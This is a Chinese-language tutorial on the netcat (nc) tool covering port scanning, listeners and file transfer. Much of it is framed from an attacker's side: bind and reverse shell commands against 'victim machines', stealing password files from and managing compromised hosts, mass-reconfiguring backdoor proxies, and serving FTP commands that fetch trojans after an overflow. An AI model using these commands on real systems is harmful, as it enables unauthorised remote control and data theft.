linux nc命令小结

[root@hatest1 ~]# type -a nc
nc is /usr/bin/nc
[root@hatest1 ~]# rpm -q nc
nc-1.10-22

nc -v -z host.example.com 70-80      #扫描端口(70到80)，可指定范围。-v输出详细信息。
nc -v -w 1 192.168.228.222 -z 1-1000
root@~# nc -v -w 2 192.168.2.34 -z 21-24  # 也可以不带-z参数试下效果
nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!
nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused

root@10.1.1.43:~# nc -v -z -w2 127.0.0.1 1-100
root@10.1.1.43:~# nc -v -w 10 10.1.1.180 80
root@10.1.1.43:~# nc -v -w 10 10.1.1.180 -z 80-30000

# 监听本地端口
root@10.1.1.43:~# nc -l -p 1234 
root@10.1.1.43:~# netstat -tunlp | grep 1234
tcp    0   0 0.0.0.0:1234      0.0.0.0:*        LISTEN   15543/nc

# 测试UDP端口
root@172.16.211.34:web# netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address        Foreign Address       State    PID/Program name  
tcp    0   0 0.0.0.0:22         0.0.0.0:*          LISTEN   1111/sshd      
udp    0   0 0.0.0.0:68         0.0.0.0:*                887/dhclient 

root@172.16.211.35:~# nc -vuz 172.16.211.34 68
Connection to 172.16.211.34 68 port [udp/bootpc] succeeded!

nc -p 1234 -w 5 host.example.com 80

nc -u host.example.com 53

[root@hatest2 tmp]# nc -lp 1234 > install.log

[root@hatest1 ~]# ll install.log
-rw-r--r--  1 root root 39693 12月 20  2007 install.log 
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log

nc -l 监听端口 > 要接收的文件名
nc -l 4444 > cache.tar.gz

nc 目的主机ip  目的端口 
nc 192.168.0.85 4444 

[root@localhost jiangbao]# netstat -tpln
tcp    0   0 0.0.0.0:4444        0.0.0.0:*          LISTEN   18166/nc 

[root@hatest2 tmp]# nc -l 1234 |tar xzvf -

root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234

# nc -l -p 1234 | dd of=/dev/sda

# dd if=/dev/sda | nc 192.168.228.222 1234

nc -l 1234
nc 127.0.0.1 1234

# while true; do nc -l -p 80 -q 1 < somepage.html; done

[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser
HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......]

echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80

nc -l -v -p 7626 

nc -l -p 80 c:\\日志.dat 

nc -l -p 123 -e cmd.exe 或者是: nc -l -p 123 -t 

nc -v 192.168.0.25 80 

nc -v -z 192.168.0.25 1-100 

nc -v -z -u 192.168.0.25 1-100 

nc -vv ip port  //端口的刺探：
RIVER [192.168.0.198] 19190 ("htmlcode">

nc -vv -w 5 ip port-port port 
nc -vv -z ip port-port port


这样扫描会留下大量的痕迹，系统管理员会额外小心。
后门




victim machine:      // 受害者的机器 
nc -l -p port -e cmd.exe // win2000 
nc -l -p port -e /bin/sh // unix,linux 
attacker machine:     // 攻击者的机器. 
nc ip -p port       // 连接victim_IP,然后得到一个shell。


反向连接 




attacker machine:   //一般是sql2.exe,远程溢出,webdavx3.exe攻击. 
//或者wollf的反向连接. 
nc -vv -l -p port 
victim machine: 
nc -e cmd.exe attacker ip -p port 
nc -e /bin/sh attacker ip -p port


或者：




attacker machine: 
nc -vv -l -p port1 
nc -vv -l -p prot2 
victim machine: 
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2 
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2


139要加参数-s（nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP），这样就可以保证nc.exe优先于NETBIOS。
传送文件：




attacker machine <-- victim machine  //从肉鸡拖密码文件回来. 
nc -d -l -p port < path\filedest 　　　 可以shell执行 
nc -vv attacker_ip port > path\file.txt 需要Ctrl+C退出 
//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
attacker machine --> victim machine //上传命令文件到肉鸡 
nc －vv -l -p port > path\file.txt　　　　　 需要Ctrl+C退出 
nc -d victim_ip port < path\filedest 　 可以shell执行 
//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.


端口数据抓包.




nc -vv -w 2 -o test.txt xfocus.Net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error 
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr 
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized... 
< 00000084 83 00 00 01 8f # .....


telnet,自动批处理。




nc victim_ip port < path\file.cmd 　 显示执行过程. 
nc -vv victim_ip port < path\file.cmd 　 显示执行过程.
nc -d victim_ip port < path\file.cmd 安静模式.
_______________file.cmd________________________ 
password 
cd %windir% 
echo []=[%windir%] 
c: 
cd \ 
md test 
cd /d %windir%\system32\ 
net stop sksockserver 
snake.exe -config port 11111 
net start sksockserver 
exit 
_______________file.cmd__END___________________



######################################## 

     管理肉鸡,更改肉鸡设置 

########################################


1) 比如要统一更改肉鸡上面的代理端口.snake.exe 修改为11111 服务名称"sksockserver"，使用winshell后门. 端口1234 密码password


命令格式就是：




modi.bat youip.txt
___________modi.bat____________________________ 
@if "%1"=="" echo Error: no ip.txt &&goto END
:start 
@echo password >a.cmd 
@echo s a.cmd 
@echo cd /d %%windir%%\system32\ a.cmd 
@net stop "sksockserver" a.cmd 
@snake.exe -config port 11111 a.cmd 
@net start "sksockserver" a.cmd 
@exit a.cmd
:auto 
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)
:END 
___________modi.bat__END_______________________


2)




@echo off 
color f0 
:start 
cls 
C:\nc -vv -w 3 -l -p 8080.txt 
goto start


把防火墙关掉以后运行这个批处理，会监听到许多探测U漏洞的信息，大多是三条一组--妮姆达病毒扫描你的。

这样就会得到肉鸡的.虽然质量不高.但是也是一种便宜的办法.


肉鸡特征：

1。unicode漏洞 

2。guest密码为空，administrators组用户 

3。其他漏洞

用于传输文件 — ncp


#! /bin/sh 
## 类似于rcp，但是是用netcat在高端口做的 
## 在接收文件的机器上做"ncp targetfile" 
## 在发送文件的机器上做"ncp sourcefile receivinghost" 
## 如果调用了 "nzp" ，会将传输文件压缩
## 这里定义你想使用的端口，可以自由选择 
MYPORT=23456
## 如果nc没有在系统路径中的话，要把下面一行注释去掉，加以修改 
# PATH=$:$ ; export PATH
## 下面这几行检查参数输入情况：
test "$3" && echo "too many args" && exit 1 
test ! "$1" && echo "no args" && exit 1 
me=`echo $0 | sed s+.*/++` 
test "$me" = "nzp" && echo [compressed mode]
# if second arg, its a host to send an [extant] file to. 
if test "$2" ; then 
test ! -f "$1" && echo "cant find $1" && exit 1 
if test "$me" = "nzp" ; then 
　　compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0 
else 
　　nc -v -w 2 $2 $MYPORT < "$1" && exit 0 
fi 
echo "transfer FAILED!" 
exit 1 
fi
# 是否在接收文件机器当前目录有同名文件
if test -f "$1" ; then 
echo -n "Overwrite $1" 
read aa 
test ! "$aa" = "y" && echo "[punted!]" && exit 1 
fi 
# 30 seconds oughta be pleeeeenty of time, but change if you want. 
if test "$me" = "nzp" ; then 
# 注意这里nc的用法，结合了重定向符号和管道 
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0 
else 
nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0 
fi 
echo "transfer FAILED!" 
# clean up, since even if the transfer failed, $1 is already trashed 
rm -f "$1" 
exit 1



这样的话，我只要在A机器上先 QuackA# ncp ../abcd 


listening on 然后在另一台机器B上 




QuackB#ncp abcd 192.168.0.2 
quackb [192.168.0.1] 23456 ("htmlcode">

open connect to [192.168.0.2] from quackb [192.168.0.1] 1027 
# 查看一下，文件传输完毕。


===========================================================================

【本地运行】nc -v ip port

【命令解释】扫瞄某 IP 的某个端口，返回信息详细输出。

===========================================================================

【本地运行】nc -v -z ip port-port

【命令解释】扫描某IP的端口到某端口，返回信息详细输出，但扫描速度较慢。

===========================================================================

【本地运行】nc -v -z -u ip  port-port

【命令解释】扫描某 IP 的某 UDP 端口到某 UDP 端口，返回信息详细输出，但扫描速度较慢。

===========================================================================

【本地运行】nc -l -p 80 

【命令解释】开启本机的 TCP 80 端口并监听。

===========================================================================

【本地运行】nc -l -v -p 80

【命令解释】开启本机的 TCP 80 端口并将监听到的信息输出到当前 CMD 窗口。

===========================================================================

【本地运行】nc -l -p 80 > E:/log.dat

【命令解释】开启本机的 TCP 80 端口并将监听到的信息输出到 E:/log.dat 下的日志文件里。

===========================================================================

【本地运行】nc -nvv 192.168.1.101 80 

【命令解释】连接到192.168.1.101主机的 80 端口。

===========================================================================

【本地运行】nc -nvv -w2 -z 192.168.1.101 80-1024 

【命令解释】扫锚192.168.1.101的80-1024端口，连接超时时间为2秒。

===========================================================================

【远程运行】nc -l -p 2012 -t -e cmd.exe

【本地运行】nc -nvv 192.168.1.101 2012

【命令解释】采用正向连接方式，远程主机（注：假设IP地址为 192.168.1.101）上运行 nc -l -p 2012 -t -e cmd.exe 意为绑定远程主机的 CMD 到

【命令解释】2012 端口，当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell ；在本地主机上运行 nc -nvv 192.168.1.101 2012 用于

【命令解释】连接已经将 CMD 重定向到 2012 端口的远程主机（注：假设IP地址为 192.168.1.101）。

===========================================================================

【本地运行】nc -l -p 2012

【远程运行】nc -t -e cmd.exe 192.168.1.102 2012

【命令解释】采用反向连接方式，先在本地主机运行 nc -l -p 2012 开启本地主机的（注：假设IP地址为 192.168.1.102）2012 端口并监听等待远程主

【命令解释】机连接；在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.102 端口号为

【命令解释】2012 的主机上，连接成功后 IP 地址为 192.168.1.102 的主机会得到一个CMD Shell。

===========================================================================

【本地运行】nc -v -n ip port < C:/sunzn.exe

【远程运行】nc -v -l -p port > D:/sunzn.exe

【命令解释】在本地运行 nc -v -n ip port < C:/sunzn.exe 意为从本地 C 盘根目录中读取 sunzn.exe 文件的内容，并把这些数据发送到远程主机的

【命令解释】对应端口上（注：命令行中的 IP 为接收文件的远程主机 IP ），在远程主机运行 nc -v -l -p port > D:/sunzn.exe 意为监听对应端口并

【命令解释】把接收到的信息数据写到 D:/sunzn.exe 中，两行命令实现了文件在本地主机和远程主机间的传输。

===========================================================================

【本地运行】nc -L -p 8989<C:\ftp.txt （ ftp.txt 中为FTP自动下载命令）

【命令解释】不停地监听 8989 端口，并把 C:\ftp.txt  中的内容发给任何一台连接本机 8989 端口的主机，可起到传送文件作用（此用法经常用于反向

【命令解释】溢出）。溢出远程主机时，一旦溢出的远程主机连接本地主机 8989 端口，远程主机就会自动用 FTP 下载指定的文件，如木马。

===========================================================================


简单使用教程：
命令1：监听命令




  nc -l -p port
  nc -l -p port > e:\log.dat
  nc -l -v -p port


参数解释：

        -l：监听端口，监听入站信息

        -p：后跟本地端口号

        -v：显示端口的信息，如果使用-vv的话，则会显示端口更详细的信息


提示：一般大家都爱用-vv
    nc -l -p 80    //这个很简单，监听80端口。如果机器上运行这个命令，端口80被认为是开放的，可以欺骗扫描器

    nc -l -p 80 > e:\log.dat    //将详细信息写入E盘log.dat的日志文件

    nc -l -v -p 80    //和上边命令相似，会直接显示信息在运行着NC的屏幕上。
实践：


例如：nc -l -v -p 80


然后在浏览器中输入本机IP：127.0.0.1


命令2：程序定向（反弹shell的方法）


nc -l -p port -t -e cmd.exe


本地机： nc -l -p port 或 nc -l -v -p port

目标机：nc -e cmd.exe ip port


参数解释：

        -l、-p两个参数已经解释过了

        -e；作用就是程序定向

        -t：以telnet的形式来应答


例子




nc -l -p 5277 -t -e cmd.exe  
 //千万不要运行在自己的机器上，如果运行了，你机器就会变成一台TELNET的服务器了。



命令解释：


监听本地端口5277的入站信息，同时将CMD.exe这个程序，重定向到端口5277上，当有人连接的时候，就让程序CMD.exe以TELNET的形式来响应连接要求。说白了，其实就是让他成为一台TELNET的肉鸡，所以这个命令要运行在你的肉鸡上。


例如用法：




local machine：nc -l -p port ( or nc -l -v -p port )
remote machine：nc -e cmd.exe ip port


大家知道灰鸽子和神偷吧，这两款工具都是利用了反弹端口型的木马，


什么叫反弹端口？


就是说，当对方中马后，不用你主动和对方连接，也就是说不用从你的client端向对方主机上运行的server端发送请求连接，而是对方主动来连接你这样就可以使很多防火墙失效，因为很多防火墙都不检查出站请求的。


这里这两个命令结合在一起后，于那两款木马可以说有异曲同工之效。
本地运行：nc -l -p 5277 （监听本地5277端口）或者 nc -l -v -p 5277


然后在远程机器上，想办法运行 nc -e cmd.exe ip 5277


（你可别真的打“ip”在肉鸡上啊）要打，xxx.xxx.xxx.xxx这样！！


这样就是反弹~~在本地机器上得到了一个SHELL
命令3：扫描端口




nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port


参数解释：


-z：将输入输出关掉，在扫描时使用




nc -v ip port  

//这个命令是针对某一个端口进行扫描



例如：




nc -v ip 135  
//扫描远程主机的135端口，这样获得了该端口的一些简单信息，但是针对某些端口，我们还可以获得更多的信息



例如：80端口


nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息


nc -v -z ip port-port  
 //这个命令是用来扫描的一个命令，这个命令用于快速扫描TCP端口，而port-port则是指定了扫描的端口范围



例如：


nc -v -z ip 1-200  
//可以看到我机器上的1-200的TCP端口的开放情况
nc -v -z -u ip port-port  
//这个命令比上个命令多了个-u，这个命令的作用仍然是扫描端口，只是多一个-u的参数，是用来扫UDP端口的


 例如：




nc -v -z -u ip 1-200  //这个命令就会扫1-200的UDP端口


命令4：传送文件（HOHO，I LIKE）


LOCAL MACHINE：nc -v -n ip port < x:\svr.exe
REMOTE MACHINE：nc -v -l -p port > y:\svr.exe



参数解释：


-n：指定数字的IP地址


这两个命令结合起来是用来传送文件的


首先，在远程机上运行命令：


nc -v -l -p 5277 > c:\pulist.exe


这个命令还记的吗？呵呵，是不是和监听命令有点类似，对，没错，这个是监听5277端口


并把接受到的信息数据写到c:\pulist.exe中


这时候在本地机上运行


nc -v -n ip 5277 < e:\hack\pulist.exe


这个命令的意思就是，从本地E盘跟目录中读取pulist.exe文件的内容，并把这些数据发送到ip的5277端口上


这样远程主机就会自动创建一个pulist.exe文件。


以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持。